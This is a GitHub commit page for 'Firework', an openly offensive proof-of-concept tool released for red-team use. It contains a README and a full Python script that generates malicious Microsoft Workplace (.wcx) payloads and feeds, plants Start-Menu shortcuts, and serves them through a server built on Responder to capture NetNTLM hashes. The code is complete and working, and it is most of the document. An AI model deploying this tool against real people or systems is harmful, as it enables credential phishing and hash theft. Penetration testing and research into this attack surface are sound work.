Skip to content
This repository was archived by the owner on Aug 7, 2020. It is now read-only.

Commit

Permalink
PoC release
Browse files Browse the repository at this point in the history
  • Loading branch information
dtmsecurity committed Aug 30, 2018
0 parents commit 8b79651
Show file tree
Hide file tree
Showing 5 changed files with 1,817 additions and 0 deletions.
126 changes: 126 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
# Firework

![alt text](https://img.shields.io/badge/Python-2.7_only-blue.svg "Python 2.7 only")

Firework is a proof of concept tool to interact with Microsoft Workplaces creating valid files required for the provisioning process. The tool also wraps some code from Responder to leverage its ability to capture NetNTLM hashes from a system that provisions a Workplace feed via it.

This tool may be used as part of a penetration test or red team exercise to create a .wcx payload (and associated feed) that if clicked on could be used to:

* Phish for credentials - NetNTLM hashes will be sent if a user enters their credentials (or on older versions of Windows automatically).
* Add items to the Start-Menu - After set-up shortcuts are added to the Start-Menu which launch the served RDP file(s). These entries could potentially be used as part of a wider social engineering campaign.
* Download resources - Resources such as the .rdp files and icon files are downloaded and updated by Windows on a daily basis (if authentication of the feed is disabled or is satisfied).

Read the SpiderLabs blog for a more detailed summary and walk through.

## Installation

* Tested with Python 2.7.x. (Python3 not currently supported, although the main Firework class could be used in Python 3)

```bash
$ pip install -r requirements.txt
```
* The tool serves content over HTTPS and requires a certificate and private key to use in-built web server with NetNTLM capture. Default files: ***cert.crt*** and ***key.pem***

## Usage

```
.-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: .
;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,.
[[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/'
`$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$,
888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o,
"MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP"
usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
[-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
[-t CERT] [-k KEY]
WCX workplace tool
optional arguments:
-h, --help show this help message and exit
-c COMPANY, --company COMPANY
Company name
-u URL, --url URL Feed URL
-a APP, --app APP App Name
-e EXT, --ext EXT App Extension
-i ICON, --icon ICON App Icon
-l LISTEN, --listen LISTEN
TLS Web Server Port
-r RDP, --rdp RDP RDP Server
-d DOMAIN, --domain DOMAIN
RDP Domain
-n USERNAME, --username USERNAME
RDP Username
-p PASSWORD, --password PASSWORD
RDP Password
-t CERT, --cert CERT SSL cert
-k KEY, --key KEY SSL key
```

## Examples

Basic example:

* Organisation Name: EvilCorp
* URL to feed XML (or URL to Firework's in-built server): https://example.org/ - This is where Windows downloads the feed from.
* Application Name: Firework
* File Extension: .fwk
* Icon File: firework.ico

```bash
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico
```

In built web server will start on port 443 if **cert.crt** and **key.pem** are present in current directory. This will force an NTLM challenge with responder. If these files are not present the tool will write all files to local directory for your own hosting.

If you wish to start the in-built web server on alternate port use the -l flag as below:

```bash
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443
```

You can also add some customisations to the .rdp file that gets served.

* Remote Desktop Server: dc.corp.local
* Domain: corp.local
* Username: admin
* Password Crypt: Encrypted password that gets included in RDP file

Note: Passwords stored in .rdp files are likely ignored in a default config.

```bash
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <crypt password>
```

## Payload

Having run the tool 'payload.wcx' will be written to current directory. This file is what when clicked on starts the provisioning process.

## Authors
* **David Middlehurst** - Twitter- [@dtmsecurity](https://twitter.com/dtmsecurity)

## License

Firework

Created by David Middlehurst
Copyright (C) 2018 Trustwave Holdings, Inc.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

## Acknowledgments

* [Responder by Laurent Gaffie](https://github.com/SpiderLabs/Responder)
* [Firework Icon](https://icons8.com/icon/39296/firework-filled)
Binary file added firework.ico
Binary file not shown.
232 changes: 232 additions & 0 deletions firework.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,232 @@
#!/usr/bin/env python
# Firework - Weaponising Microsoft Workplace (Remote App) provisioning
# David Middlehurst @dtmsecurity, SpiderLabs - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.


import base64
from colorama import Fore, Back, Style
import uuid
from server import *
import os
import argparse

def banner():
banner = "Li06Ojo6Oic6Ojo6Ojo6Ojo6Li4gIC4sOjo6Ojo6Ljo6ICAgIC4gICAuOjo6ICAuLi4gICAgOjo6Ojo6Oi4uICAgIDo6OiAgLiAgIAo7OzsnJycnIDs7Ozs7OztgYDs7OzsgOzs7OycnJycnOzssICA7OyAgOzs7Jy47Ozs7Ozs7LiA7Ozs7YGA7Ozs7ICAgOzs7IC47OywuCltbWywsPT0gW1tbIFtbWywvW1tbJyAgW1tjY2NjICAnW1ssIFtbLCBbWycsW1sgICAgIFxbWyxbW1ssL1tbWycgICBbW1tbWy8nICAKYCQkJCJgYCAkJCQgJCQkJCQkYyAgICAkJCIiIiIgICAgWSRjJCQkYyRQICQkJCwgICAgICQkJCQkJCQkJGMgICAgXyQkJCQsICAgIAogODg4ICAgIDg4OCA4ODhiICI4OGJvLDg4OG9vLF9fICAgIjg4Ijg4OCAgIjg4OCxfIF8sODhQODg4YiAiODhibywiODg4Ijg4bywgCiAiTU0sICAgTU1NIE1NTU0gICAiVyIgIiIiIllVTU1NICAgIk0gIk0iICAgICJZTU1NTU1QIiBNTU1NICAgIlciICBNTU0gIk1NUCIK"
print("")
print(Fore.GREEN + base64.b64decode(banner).decode('utf8'))
print(Style.RESET_ALL)


class Firework:
def __init__(self):
self.hostedFiles = dict()
self.company = "Secure App"
self.feedUrl = "https://example.org/"
self.wcx = ""
self.apps = []
self.feed = ""
self.domain = "domain"
self.username = "administrator"
self.password = "01000000D08C9DDF0115D1118C7A00C04FC297EB010000000DB88E9C2974C24FA234CC2EC7D4E8BE00000000080000007000730077000000106600000001000020000000CBCD31921BDC991973C2127EED86EF467994D90311A8158C413147C5550DE9A8000000000E8000000002000020000000F8E18317CEC0F970F3531BD913CAB91BFFCD9BD3D8DFC26999EA21AA46D20CDD2000000047A7E071B141B3973667E70696E2A203D3400E54C88C9A866E4BE4D44C1B5D49400000007BC7BC835F2B6C2318D6662C63FE9955D1B282CBF4B84591258E1A5B4C199306F999D492226222F1A4B63ABFAA20C7877C8B2850BC9E88C14A6297D5C4C67EC9"
self.server = "192.168.1.1"
self.rdp = ""

def generateWcx(self):
self.wcx = "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\"?>\n"
self.wcx += "<workspace name=\"%s Remote Access\" xmlns=\"http://schemas.microsoft.com/ts/2008/09/tswcx\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n" % (self.company)
self.wcx += "<defaultFeed url=\"%s\" />\n" % (self.feedUrl)
self.wcx += "</workspace>\n"

def addApp(self,appName,executableName,fileExtension,iconFile):
appGuid = str(uuid.uuid4())

iconPath = "/%s.ico" % (appGuid)

fh = open(iconFile,"rb")
self.hostedFiles[iconPath] = base64.b64encode(fh.read())
fh.close()

rdpPath = "/%s.rdp" % (appGuid)
rdpContent = self.rdp
self.hostedFiles[rdpPath] = rdpContent

newApp = "<Resource ID=\"%s\" Alias=\"%s\" Title=\"%s\" LastUpdated=\"2009-07-09T17:57:12.588625Z\" Type=\"RemoteApp\" ExecutableName=\"%s\">\n" % (appGuid,appName,appName,executableName)
newApp += "<Icons>\n<IconRaw FileType=\"ico\" FileURL=\"%s\" />\n</Icons>\n" % (iconPath)
newApp += "<FileExtensions>\n"
newApp += "<FileExtension Name=\"%s\" />\n" % (fileExtension)
newApp += "</FileExtensions>\n"
newApp += "<HostingTerminalServers>\n"
newApp += "<HostingTerminalServer>\n"
newApp += "<ResourceFile FileExtension=\".rdp\" URL=\"%s\" />\n" % (rdpPath)
newApp += "<TerminalServerRef Ref=\"Contoso\" />\n"
newApp += "</HostingTerminalServer>\n"
newApp += "</HostingTerminalServers>\n"
newApp += "</Resource>\n"
self.apps.append(newApp)

def generateFeed(self):
self.feed = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
self.feed += "<ResourceCollection PubDate=\"2009-07-09T17:57:30.323Z\" SchemaVersion=\"1.1\" xmlns=\"http://schemas.microsoft.com/ts/2007/05/tswf\">\n"
self.feed += "<Publisher LastUpdated=\"2009-07-09T17:57:12.588625Z\" Name=\"%s\" ID=\"Contoso\" Description=\"\">\n" % (self.company)
self.feed += "<Resources>\n"
for app in self.apps:
self.feed += app
self.feed += "</Resources>\n"
self.feed += "<TerminalServers>\n"
self.feed += "<TerminalServer ID=\"Contoso\" Name=\"Contoso\" LastUpdated=\"2009-07-09T17:57:12.588625Z\" />\n"
self.feed += "</TerminalServers>\n"
self.feed += "</Publisher>\n</ResourceCollection>\n"
self.hostedFiles["/"] = self.feed

def generateRdp(self):
self.rdp += "screen mode id:i:2\r\n"
self.rdp += "use multimon:i:1\r\n"
self.rdp += "desktopwidth:i:800\r\n"
self.rdp += "desktopheight:i:600\r\n"
self.rdp += "session bpp:i:32\r\n"
self.rdp += "winposstr:s:0,3,0,0,800,600\r\n"
self.rdp += "compression:i:1\r\n"
self.rdp += "keyboardhook:i:2\r\n"
self.rdp += "audiocapturemode:i:0\r\n"
self.rdp += "videoplaybackmode:i:1\r\n"
self.rdp += "connection type:i:7\r\n"
self.rdp += "networkautodetect:i:1\r\n"
self.rdp += "bandwidthautodetect:i:1\r\n"
self.rdp += "displayconnectionbar:i:1\r\n"
self.rdp += "domain:s:%s\r\n" % (self.domain)
self.rdp += "username:s:%s\r\n" % (self.username)
self.rdp += "password 51:b:%s\r\n" % (self.password)
self.rdp += "enableworkspacereconnect:i:0\r\n"
self.rdp += "disable wallpaper:i:0\r\n"
self.rdp += "allow font smoothing:i:0\r\n"
self.rdp += "allow desktop composition:i:0\r\n"
self.rdp += "disable full window drag:i:1\r\n"
self.rdp += "disable menu anims:i:1\r\n"
self.rdp += "disable themes:i:0\r\n"
self.rdp += "disable cursor setting:i:0\r\n"
self.rdp += "bitmapcachepersistenable:i:1\r\n"
self.rdp += "full address:s:%s\r\n" % (self.server)
self.rdp += "audiomode:i:0\r\n"
self.rdp += "redirectprinters:i:1\r\n"
self.rdp += "redirectcomports:i:1\r\n"
self.rdp += "redirectsmartcards:i:1\r\n"
self.rdp += "redirectclipboard:i:1\r\n"
self.rdp += "redirectposdevices:i:0\r\n"
self.rdp += "camerastoredirect:s:*\r\n"
self.rdp += "devicestoredirect:s:*\r\n"
self.rdp += "drivestoredirect:s:*\r\n"
self.rdp += "autoreconnection enabled:i:1\r\n"
self.rdp += "authentication level:i:1\r\n"
self.rdp += "prompt for credentials:i:0\r\n"
self.rdp += "prompt for credentials on client:i:0\r\n"
self.rdp += "negotiate security layer:i:1\r\n"
self.rdp += "remoteapplicationmode:i:0\r\n"
self.rdp += "alternate shell:s:\r\n"
self.rdp += "shell working directory:s:\r\n"
self.rdp += "gatewayhostname:s:\r\n"
self.rdp += "gatewayusagemethod:i:4\r\n"
self.rdp += "gatewaycredentialssource:i:4\r\n"
self.rdp += "gatewayprofileusagemethod:i:0\r\n"
self.rdp += "promptcredentialonce:i:1\r\n"
self.rdp += "gatewaybrokeringtype:i:0\r\n"
self.rdp += "use redirection server name:i:0\r\n"
self.rdp += "rdgiskdcproxy:i:0\r\n"
self.rdp += "kdcproxyname:s:\r\n"

def main():
banner()

parser = argparse.ArgumentParser(description='WCX workplace tool')
parser.add_argument('-c','--company', help='Company name', required=True)
parser.add_argument('-u','--url', help='Feed URL', required=True)
parser.add_argument('-a','--app', help='App Name', required=True)
parser.add_argument('-e','--ext', help='App Extension', required=True)
parser.add_argument('-i','--icon', help='App Icon', required=True)
parser.add_argument('-l','--listen', help='TLS Web Server Port')
parser.add_argument('-r','--rdp', help='RDP Server')
parser.add_argument('-d','--domain', help='RDP Domain')
parser.add_argument('-n','--username', help='RDP Username')
parser.add_argument('-p','--password', help='RDP Password')
parser.add_argument('-t','--cert', help='SSL cert')
parser.add_argument('-k','--key', help='SSL key')
args = parser.parse_args()

f = Firework()

if args.company is not None:
f.company = str(args.company)
if args.url is not None:
f.feedUrl = str(args.url)
if args.rdp is not None:
f.server = str(args.rdp)
if args.domain is not None:
f.domain = str(args.domain)
if args.username is not None:
f.username = str(args.username)
if args.password is not None:
f.password = str(args.password)

f.generateWcx()

fh = open("payload.wcx","w")
fh.write(f.wcx)
fh.close()
print(Fore.GREEN + "Written: " + Style.RESET_ALL + "payload.wcx")

f.generateRdp()


f.addApp(str(args.app),"%s.exe" % str(args.app), str(args.ext), str(args.icon))
#f.addApp("Word","word.exe",".doc","./excel.ico")
f.generateFeed()

fh = open("feed.xml","w")
fh.write(f.feed)
fh.close()

print(Fore.GREEN + "Written: " + Style.RESET_ALL + "feed.xml")

hosted = f.hostedFiles

if args.listen is not None:
port = int(args.listen)
else:
port = 443

cert = "cert.crt"
key = "key.pem"

if args.cert is not None:
cert = str(args.cert)
if args.key is not None:
key = str(args.key)

if os.path.isfile(cert) and os.path.isfile(key):
print(Fore.GREEN + "Starting server: " + Style.RESET_ALL + "https://0.0.0.0/")
serve_thread_SSL('', port, HTTPS, hosted, cert, key, )
else:
print(Fore.RED + "Failed to start server: " + Style.RESET_ALL + ("'%s' and '%s' not present - Writing resources to disk instead" % (cert,key)))
for file in hosted:
if file != "/":
print(Fore.GREEN + "Written: " + Style.RESET_ALL + file)
fh = open(os.path.join(os.getcwd(),".%s" % file),"w")
fh.write(hosted[file])
fh.close()

if __name__ == '__main__':
main()


1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
colorama==0.3.9
Loading

0 comments on commit 8b79651

Please sign in to comment.